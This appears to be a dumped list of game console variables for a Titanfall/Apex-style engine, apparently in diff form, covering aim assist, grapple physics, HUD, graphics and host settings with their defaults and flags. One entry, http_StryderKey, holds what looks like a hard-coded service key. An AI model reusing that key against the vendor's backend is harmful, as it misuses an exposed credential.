+gamepad_ads_advanced_sensitivity_scalar_7 + +Gamepad ads sensitivity for an unused scope. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_aim_assist_ads_high_power_scopes + +Gamepad uses aim assist in ADS with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_ads_low_power_scopes + +Gamepad uses aim assist in ADS with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_high_power_scopes + +Gamepad uses aim assist in Hip with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_low_power_scopes + +Gamepad uses aim assist in Hip with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_melee + +Gamepad uses aim assist with melee weapons + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_speed + + + +default: `"2"` +flags: `0x1000000` +min value: `0` +max value: `7` +
+
+gamepad_aim_speed_ads_0 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_1 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_2 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_3 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_4 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_5 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_6 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_7 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_button_layout + +Gamepad button layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_buttons_are_southpaw + +Gamepad button layouts should use southpaw variants (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_pitch + + + +default: `"75.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_delay + + + +default: `"0.25"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_pitch + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_time + + + +default: `"1.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_yaw + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_yaw + + + +default: `"110.0"` +flags: `0x1000000` +
+
+gamepad_custom_assist_on + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_custom_curve + + + +default: `"10.0"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_in + + + +default: `"0.15"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_out + + + +default: `"0.02"` +flags: `0x1000000` +
+
+gamepad_custom_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_pitch + + + +default: `"120.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_delay + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_pitch + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_time + + + +default: `"0.33"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_yaw + + + +default: `"220.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_yaw + + + +default: `"160.0"` +flags: `0x1000000` +
+
+gamepad_custom_pilot + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_custom_titan + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_look + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_move + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_enabled + +True if the gamepad is enabled, false otherwise. + +default: `"1"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+gamepad_look_curve + + + +default: `"0"` +flags: `0x1000000` +min value: `0` +max value: `4` +
+
+gamepad_stick_layout + +Gamepad stick layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_toggle_ads + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_togglecrouch_hold + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_trigger_threshold + + + +default: `"30"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_ads_settings + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_sensitivity_scalars + +Gamepad uses the per scope scalars + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_type + +Gamepad use scheme (used by menus), 0: hold use, tap reload, 1: tap use, hold reload, 2: tap use/reload + +default: `"2"` +flags: `0x1000000` +
+
+gameui_xbox + + + +default: `"0"` +flags: `0x2` +
+
+gamma_adjusted + +Whether player has done gamma adjustment + +default: `"0"` +flags: `0x1000000` +
+
+gatherprops_no_wait + + + +default: `"1"` +flags: `0x2` +
+
+gfx_desaturate_force + + + +default: `"0"` +flags: `0x2` +
+
+gfx_nvnUseLowLatency + +enables Nvidia Low Latency SDK + +default: `"1"` +flags: `0x2` +
+
+gfx_nvnUseLowLatencyBoost + +enables Low Latency Boost + +default: `"1"` +flags: `0x2` +
+
+gl_clear_color_buffer + +Enable or disable the clearing of the main color buffer. + +default: `"0"` +flags: `0x4000` +
+
+gl_clear_fogcolor + + + +default: `"1"` +flags: `0x4000` +
+
+gl_clear_randomcolor + +Clear the back buffer to random colors every frame. Helps spot open seams in geometry. + +default: `"0"` +flags: `0x4000` +
+
+glass_break_required_speed + + + +default: `"150"` +flags: `0x6000` +
+
+glass_shatter_direction_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_size_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_use_real_direction + + + +default: `"0"` +flags: `0x2` +
+
+glitch_aberrationScale + +How far apart the glitch cloak samples should be. + +default: `"10"` +flags: `0x2002` +
+
+global_lighting_partial_update + +Allow partial uploads of GPU lights (optimization.) + +default: `"1"` +flags: `0x2` +
+
+gpu_count + + + +default: `"0"` +flags: `0x2` +
+
+gpu_driven_tex_stream + + + +default: `"1"` +flags: `0x2` +
+
+gpu_driven_tex_stream_single_thread + + + +default: `"1"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_vram_size_mb + + + +default: `"0"` +flags: `0x2` +
+
+grapple_accel_human + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1000"` +flags: `0x2002` +
+
+grapple_accel_titan + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1800"` +flags: `0x2002` +
+
+grapple_around_obstacle_accel + +Acceleration around obstacles while grappling + +default: `"1000"` +flags: `0x2002` +
+
+grapple_autoMantle + +After detaching from grapple, how long to keep trying to automantle + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_autoMeleeConvergeTime + +Simplify relative velocities when the enemy is this many seconds away from hitting us (increases chances of a hit) + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_autoMeleeOnDetach + +Starts a melee sequence when the grapple detaches. + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleePredict + +Whether to run grapple melee logic on the client (tends to mispredict anyway) + +default: `"0"` +flags: `0x2002` +
+
+grapple_autoMeleePredictTime + +Melee begins when the enemy is this many seconds away from hitting us + +default: `"0.13"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedFar + +Speed at which view rotates toward grapple melee target + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedNear + +Speed at which view rotates toward grapple melee target + +default: `"3"` +flags: `0x2002` +
+
+grapple_debug + +Show grapple debug info + +default: `"0"` +flags: `0x2002` +
+
+grapple_decelMeleeStrength + +Strength of extra deceleration that forces melee targets to come to you + +default: `"1"` +flags: `0x2002` +
+
+grapple_decel_human + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"425"` +flags: `0x2002` +
+
+grapple_decel_titan + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"200"` +flags: `0x2002` +
+
+grapple_detachExtraAllowedLength + +Extra allowed grapple length before detaching once it's attached + +default: `"256"` +flags: `0x2002` +
+
+grapple_disableMeleeWhenActive + +Disallows melee when the grapple is out. + +default: `"0"` +flags: `0x2002` +
+
+grapple_dontFightGravity + +Ignores downward speed when applying deceleration, so that gravity continues to pull you down + +default: `"1"` +flags: `0x2002` +
+
+grapple_fallSpeed + +Fall speed of the grapple hook while it's returning + +default: `"300"` +flags: `0x2002` +
+
+grapple_forcedRetractVel + +Return speed of grapple hook when grapple is finished or cancelled + +default: `"3000"` +flags: `0x2002` +
+
+grapple_gracePeriod + +Length of time player can grapple without using a charge, in case they mess up + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_gravityPushUnderContribution + +Pushing forward while looking "under" the grapple point increases gravity this much + +default: `"2"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human + +Initial launch speed off the ground when grapple connects + +default: `"50"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human_npc + +Initial launch speed off the ground when grapple connects + +default: `"150"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_titan + +Initial launch speed off the ground when grapple connects + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialImpulse_human + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialImpulse_titan + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_human + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.4"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_titan + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_human + +Fraction of XY speed that is retained when grapple connects + +default: `"1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_titan + +Fraction of XY speed that is retained when grapple connects + +default: `"0.5"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_human + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_titan + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_jumpFrac + +Jump velocity multiplier when grappled + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_letGravityHelpCosAngle + +Don't ignore gravity when grappling downward this much (0 is horizontal, 1 is straight down) + +default: `"0.8"` +flags: `0x2002` +
+
+grapple_lift + +Distance above grapple hook that player is pulled to + +default: `"25"` +flags: `0x2002` +
+
+grapple_pullDelay_human + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
+grapple_pullDelay_titan + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
+grapple_retractVel + +Return speed of grapple hook when it hasn't hit anything yet + +default: `"6000"` +flags: `0x2002` +
+
+grapple_rodeoVerticalImpulse + +Vertical impulse applied to the player when grappling off of a rodeo. + +default: `"750"` +flags: `0x2002` +
+
+grapple_shootVel + +Outward speed of grapple hook + +default: `"2000"` +flags: `0x2002` +
+
+grapple_speedRampMax_human + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampMax_titan + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"750"` +flags: `0x2002` +
+
+grapple_speedRampMin_human + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"50"` +flags: `0x2002` +
+
+grapple_speedRampMin_titan + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampTime_human + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.5"` +flags: `0x2002` +
+
+grapple_speedRampTime_titan + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_swingAngle + +Maximum angle from vertical that swinging will generate acceleration (it will tend to zero acceleration at this angle) + +default: `"45"` +flags: `0x2002` +
+
+grapple_swingPullAngle + +If the player is pushing forward within this angle of the pull direction, then switch out of swinging mode. + +default: `"0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedLength + +When swinging, the grapple pull speed scale begins to scale back to 1.0 at lengths below this + +default: `"300.0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedScale + +When swinging, the grapple pull speed is scaled by this much + +default: `"0.025"` +flags: `0x2002` +
+
+grapple_titanEmbarkDist + +Distance at which to begin embark when grappling to your own titan. + +default: `"250"` +flags: `0x2002` +
+
+grapple_windowCheckDist + +Check for window hints at this distance from grapple point + +default: `"150"` +flags: `0x2002` +
+
+gravity_grenade_decel + +Deceleration applied by gravity grenade to nearby objects + +default: `"20000"` +flags: `0x2002` +
+
+gravity_grenade_projectile_min_speed + +Gravity grenade never slows projectiles below this speed + +default: `"600"` +flags: `0x2002` +
+
+ground_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ground_trace_hull_radius + +How wide of a sphere is the trace for getting a character's ground surface + +default: `"12.0f"` +flags: `0x2002` +
+
+grx_hasUnknownItems + + + +default: `"0"` +flags: `0x2002` +
+
+gtao_angle_bias + +angle in degree [0-90) + +default: `"0"` +flags: `0x2` +
+
+gtao_intensity + + + +default: `"2"` +flags: `0x2` +
+
+gtao_intensity_in_lobby + + + +default: `"3"` +flags: `0x2` +
+
+gtao_thickness_heuristic + +in range of [0,1) + +default: `"0.2"` +flags: `0x2` +
+
+hasAnyAssetsWithDiscardedStreamableData + + + +default: `"0"` +flags: `0x200` +
+
+hasMic + + + +default: `"0"` +flags: `0x200` +
+
+hasPartialInstall + + + +default: `"0"` +flags: `0x200` +
+
+hbao_angle_bias + +angle in degree [0-90) + +default: `"6"` +flags: `0x2` +
+
+hbao_intensity + + + +default: `"3"` +flags: `0x2` +
+
+hbao_stepsize_random + + + +default: `"0.5"` +flags: `0x2` +
+
+hbaobasic_tangent_bias + +angle in degree [0-90) + +default: `"25"` +flags: `0x2` +
+
+hidehud + + + +default: `"0"` +flags: `0x4000` +
+
+highlight_deferred_update + + + +default: `"1"` +flags: `0x2` +
+
+highlight_draw + +highlight_draw 0|1 + +default: `"1"` +flags: `0x2` +
+
+highlight_lazy_clear_buffers + +highlight_lazy_clear_buffers 0|1 + +default: `"0"` +flags: `0x2` +
+
+highlight_object_max_count + +highlight_object_max_count OBJECT_MAX_COUNT + +default: `"255"` +flags: `0x2` +
+
+hitbox_bodygroup_check + + + +default: `"0"` +flags: `0x2` +
+
+hitch_alert_active + + + +default: `"1"` +flags: `0x2` +
+
+hitch_alert_color + +The hitch/choke allerts will use this color. + +default: `"255 255 0 255"` +flags: `0x2` +
+
+hitch_alert_show_large_snapshots + + + +default: `"0"` +flags: `0x2` +
+
+host_RunFrameServerAlways + + + +default: `"0"` +flags: `0x2` +
+
+host_ShowIPCCallCount + +Print # of IPC calls this number of times per second. If set to -1, the # of IPC calls is shown every frame. + +default: `"0"` +flags: `0x2` +
+
+host_flush_threshold + +Memory threshold below which the host should flush caches between server instances + +default: `"12"` +flags: `0x80000` +
+
+host_forceTakeHomeBuild + + + +default: `"0"` +flags: `0x2` +
+
+host_framerate + +Set to lock per-frame time elapse. + +default: `"0"` +flags: `0x2` +
+
+host_hasIrreversibleShutdown + + + +default: `"1"` +flags: `0x2` +
+
+host_limitlocal + +Apply cl_cmdrate and cl_updaterate to loopback connection + +default: `"0"` +flags: `0x2` +
+
+host_map + +Current map name. + +default: `""` +flags: `0x80000` +
+
+host_print_frame_times + + + +default: `"0"` +flags: `0x2` +
+
+host_profile + + + +default: `"0"` +flags: `0x2` +
+
+host_runframe_input_parcelremainder + + + +default: `"1"` +flags: `0x2` +
+
+host_server_thread_min_ticks + +Only run the server thread when it needs this many ticks. + +default: `"1"` +flags: `0x2` +
+
+host_sleep + +Force the host to sleep a certain number of milliseconds each frame. + +default: `"0"` +flags: `0x4000` +
+
+host_speeds + +Show general system running times. + +default: `"0"` +flags: `0x2` +
+
+host_syncfps + +Synchronize real render time to host_framerate if possible. + +default: `"0"` +flags: `0x2` +
+
+host_thread_join_fast + +If true we force the server thread join before existing '_Host_RunFrame' + +default: `"0"` +flags: `0x2` +
+
+host_thread_mode + +Run the host in threaded mode, (0 == off, 1 == if multicore, 2 == force) + +default: `"1"` +flags: `0x40000002` +
+
+host_threaded_sound + +Run the sound on a thread (independent of mix) + +default: `"0"` +flags: `0x2` +
+
+host_timescale + +Prescale the clock by this amount. + +default: `"1.0"` +flags: `0x6000` +
+
+hostname + +Hostname for server. + +default: `""` +flags: `0x80000` +
+
+hover_vehicle_passenger_left_attachment_name + + + +default: `"passenger1"` +flags: `0x2002` +
+
+http_StryderKey + + + +default: `"LABj38NWSTxHUhdYaP62ZU6HtutCas3L"` +flags: `0x12` +
+
+http_debug + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailRate + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailStatus + + + +default: `"429"` +flags: `0x2` +
+
+http_expoBackoff_Enabled + +Enable exponential backoff for HTTP calls + +default: `"1"` +flags: `0x2` +
+
+http_failuresAsErrors + + + +default: `"0"` +flags: `0x2` +
+
+http_maxAllocateAttempts + + + +default: `"10"` +flags: `0x2` +
+
+http_recv_fail_realloc + + + +default: `"0"` +flags: `0x2` +
+
+http_sandbox + + + +default: `"EARW.50"` +flags: `0x2` +
+
+http_showQueries + + + +default: `"0"` +flags: `0x2` +
+
+hud_autoreloadscript + +Automatically reloads the animation script each time one is ran + +default: `"0"` +flags: `0x2` +
+
+hud_setting_accessibleChat + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_adsDof + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_anonymousMode + + + +default: `"0"` +flags: `0x1000200` +
+
+hud_setting_compactOverHeadNames + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_damageIndicatorStyle + + + +default: `"2"` +flags: `0x1000000` +
+
+hud_setting_damageTextStyle + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_enableModWheel + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthUseOnHold + +use health by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelToggle + +toggle health wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelUseOnRelease + +use health after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_lootPromptStyle + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_minimapRotate + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceUseOnHold + +use ordnance by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelToggle + +toggle ordnance wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelUseOnRelease + +use ordnance after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_pingAlpha + + + +default: `"1.0"` +flags: `0x1000000` +
+
+hud_setting_pingDoubleTapEnemy + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_pingWheelToggle + +toggle ping wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_showButtonHints + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showCallsigns + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showHopUpPopUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showLevelUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMedals + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMeter + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showObituary + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showTips + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showWeaponFlyouts + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_streamerMode + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_new_message_fade_duration + +How long messages added to the text chat will take to fade from opaque to not visible + +default: `"1.0"` +flags: `0x2` +
+
+hudchat_new_message_shown_duration + +How long messages added to the text chat stick around with the panel not focused + +default: `"12"` +flags: `0x2` +
+
+hudchat_play_text_to_speech + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_transition_message_mode_fade_duration + +When switching message mode of the text chat panel how long it takes to transition visibility + +default: `"0.25"` +flags: `0x2` +
+
+hudchat_visibility + + + +default: `"1"` +flags: `0x1000000` +
+
+hudwarp_chopsize + +Number of pixels to a primitive before chopping for warping. + +default: `"60.0"` +flags: `0x4000` +
+
+hudwarp_override + +Use convar settings for hud warp (instead of script-provided settings) + +default: `"0"` +flags: `0x4000` +
+
+hudwarp_viewDist + +Distance back from sphere center to use when 2d projecting. + +default: `"1.0"` +flags: `0x4000` +
+
+hudwarp_xScale + +Final scale for X (after projecting sphere surface to 2d.) + +default: `"1.2"` +flags: `0x4000` +
+
+hudwarp_xWarp + +Degrees of arc of sphere to use (0-90, low distortion to high.) + +default: `"45.0"` +flags: `0x4000` +
+
+hudwarp_yScale + +Final scale for Y (after projecting sphere surface to 2d.) + +default: `"1.1"` +flags: `0x4000` +
+
+hudwarp_yWarp + +Degrees of arc for Y warp (0-90, low distortion to high.) + +default: `"30.0"` +flags: `0x4000` +
+
+idcolor_ally + + + +default: `"0.34 0.59 0.86 3"` +flags: `0x2` +
+
+idcolor_ally_cb1 + + + +default: `"0.24 0.50 0.96 3"` +flags: `0x2` +
+
+idcolor_ally_cb2 + + + +default: `"0.0 0.58 0.77 3"` +flags: `0x2` +
+
+idcolor_ally_cb3 + + + +default: `"0.28 0.52 0.97 3"` +flags: `0x2` +
+
+idcolor_enemy + + + +default: `"0.8 0.25 0.15 3"` +flags: `0x2` +
+
+idcolor_enemy_cb1 + + + +default: `"0.89 0.78 0.0 3"` +flags: `0x2` +
+
+idcolor_enemy_cb2 + + + +default: `"1.0 0.627 0.68 3"` +flags: `0x2` +
+
+idcolor_enemy_cb3 + + + +default: `"0.82 0.74 0.06 3"` +flags: `0x2` +
+
+idcolor_neutral + + + +default: `"1.0 1.0 1.0 0.6"` +flags: `0x2` +
+
+ignore_fatal_errors + +Don't exit on fatal errors. + +default: `"0"` +flags: `0x2` +
+
+ignore_script_errors + +Ignore script errors. + +default: `"0"` +flags: `0x2` +
+
+ik_debug + +Enables debug lines for IK + +default: `"0"` +flags: `0x2002` +
+
+ik_debug_chain + +Allows specifying a single IK chain name for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_ent + +Allows specifying a single entity for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_text + +Enables IK debug text; requires ik_debug + +default: `"0"` +flags: `0x2002` +
+
+ik_enable + +Enables IK + +default: `"1"` +flags: `0x2002` +
+
+ik_enable_client + +Enables IK on the client + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust + +Enable ik height adjustment + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust_debug + +Debugging for ik height adjustment + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_move_speed + +IK height adjustment speed per unit of horizontal velocity in units per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_height_adjust_sine + +Test ik height adjustment with a sine wave + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_speed + +IK height adjustment speed as a fraction of step size per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_latch + +Enables IK latching to ground during footsteps + +default: `"1"` +flags: `0x2002` +
+
+ik_normal_lerp_rate + +Rate at which feet adjust to a new ground orientation in angles per second + +default: `"100"` +flags: `0x2002` +
+
+ik_unlatch_max_rate + +Maximum rate an IK'd bone can unlatch; prevents pop on animation transition + +default: `"5"` +flags: `0x2002` +
+
+ime_enabled + +Enabled the IME + +default: `"1"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+impact_allow + + + +default: `"1"` +flags: `0x2` +
+
+impact_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+impact_victim_offset_dist + +Distance to offset impact sounds from the victim, when requested + +default: `"256"` +flags: `0x2` +
+
+impulse_low_decel_duration_scalar + +Impulse magnitude is multiplied by this to give a length of time that the player can't decelerate + +default: `"0.003"` +flags: `0x2002` +
+
+inPartyChat + + + +default: `"0"` +flags: `0x200` +
+
+in_forceuser + +Force user input to this split screen player. + +default: `"0"` +flags: `0x4000` +
+
+in_syncRT + + + +default: `"0"` +flags: `0x2` +
+
+in_usekeyboardsampletime + +Use keyboard sample time smoothing. + +default: `"1"` +flags: `0x2` +
+
+inbox_enabled + + + +default: `"0"` +flags: `0x2` +
+
+infoblock_requestInterval + +Time between info block requests + +default: `"300"` +flags: `0x2` +
+
+input_did_turn_threshold + +Degrees per second. + +default: `"1.0f"` +flags: `0x2` +
+
+intro_viewed + +Whether the introduction video has been viewed by this player + +default: `"0"` +flags: `0x1000000` +
+
+ip + +Overrides IP for multihomed hosts + +default: `"localhost"` +flags: `0x80000` +
+
+joy_advaxisr + + + +default: `"2"` +flags: `0x2` +
+
+joy_advaxisu + + + +default: `"4"` +flags: `0x2` +
+
+joy_advaxisv + + + +default: `"6"` +flags: `0x2` +
+
+joy_advaxisx + + + +default: `"3"` +flags: `0x2` +
+
+joy_advaxisy + + + +default: `"1"` +flags: `0x2` +
+
+joy_advaxisz + + + +default: `"5"` +flags: `0x2` +
+
+joy_inverty + +Whether to invert the Y axis of the joystick for looking. + +default: `"0"` +flags: `0x1000000` +
+
+joy_legacy + +Turn on/off 'Legacy' mapping for control sticks. + +default: `"0"` +flags: `0x40000000` +
+
+joy_movement_stick + +Which stick controls movement (0 is left stick) + +default: `"0"` +flags: `0x40000000` +
+
+joy_requireFocus + + + +default: `"1"` +flags: `0x2` +
+
+joy_rumble + +Controller rumble. + +default: `"1"` +flags: `0x1000000` +
+
+joy_xcontroller_cfg_loaded + +If 0, the 360controller.cfg file will be executed on startup & option changes. + +default: `"0"` +flags: `0x2` +
+
+jpeg_quality + +jpeg screenshot quality. + +default: `"90"` +flags: `0x2` +
+
+jt_help_with_anything_ignore_preference + +This let's JT_HelpWithAnything() work on tasks that are not preferred. + +default: `"0"` +flags: `0x2` +
+
+jump_graceperiod + +Extra time during which a player can jump after falling off a ledge + +default: `"0.2"` +flags: `0x2002` +
+
+jump_keyboardgrace_max + +Amount of velocity change allowed during jump_keyboardgraceperiod, as a fraction of sprinting speed + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgrace_strength + +Fraction of change toward the new direction when pressing a direction during jump_keyboardgraceperiod + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmax + +Extra time during which a player can change their direction with keyboard input after jumping (fades to 0 strength at this time) + +default: `"0.5"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmin + +Extra time during which a player can change their direction with keyboard input after jumping (at full strength) + +default: `"0.2"` +flags: `0x2002` +
+
+killReplay_lagCompensate + +Adjust player timing to try to match what the client saw rather than what the server saw. + +default: `"1"` +flags: `0x2` +
+
+killReplay_playNonReplayRemoteCallsOnLocalClientPlayer + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute_batchSize + + + +default: `"12"` +flags: `0x2` +
+
+leech_npc_angle_cos + +Cos(angle) allowed for leeching npcs + +default: `"-1"` +flags: `0x2002` +
+
+lerp_careAboutAttachmentBonePosition + + + +default: `"0"` +flags: `0x2` +
+
+lerp_debugEnt + + + +default: `"-2"` +flags: `0x2002` +
+
+lerp_opt + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded_numEntsPerTask + + + +default: `"6"` +flags: `0x2` +
+
+light_maxcone + +Max light cone limit. Cone limit is half angle in degrees. + +default: `"85"` +flags: `0x2` +
+
+lightmap_realtimelight + +If true use the real-time light lightmap for selecting real-time lights. + +default: `"1"` +flags: `0x2` +
+
+lightmap_realtimeshadows + + + +default: `"1"` +flags: `0x2` +
+
+load_during_video + + + +default: `"1"` +flags: `0x2` +
+
+loaderrorsCount + + + +default: `"0"` +flags: `0x2` +
+
+loaderrorsNeedShown + + + +default: `"0"` +flags: `0x2` +
+
+localClientPlayerCachedLevel + + + +default: `"1"` +flags: `0x1000010` +
+
+locationInfo + +What OS(on PC and Durango) or PSN account(on PS4) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locationInfo_nucleus + +What origin(on PC) or nucleus(on console) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locator_background_border_color + +The default color for the border. + +default: `"255 255 255 15"` +flags: `0x2` +
+
+locator_background_border_thickness + +How many pixels the background borders the left and right. + +default: `"3"` +flags: `0x2` +
+
+locator_background_color + +The default color for the background. + +default: `"255 255 255 5"` +flags: `0x2` +
+
+locator_background_shift_x + +How many pixels the background is shifted right. + +default: `"3"` +flags: `0x2` +
+
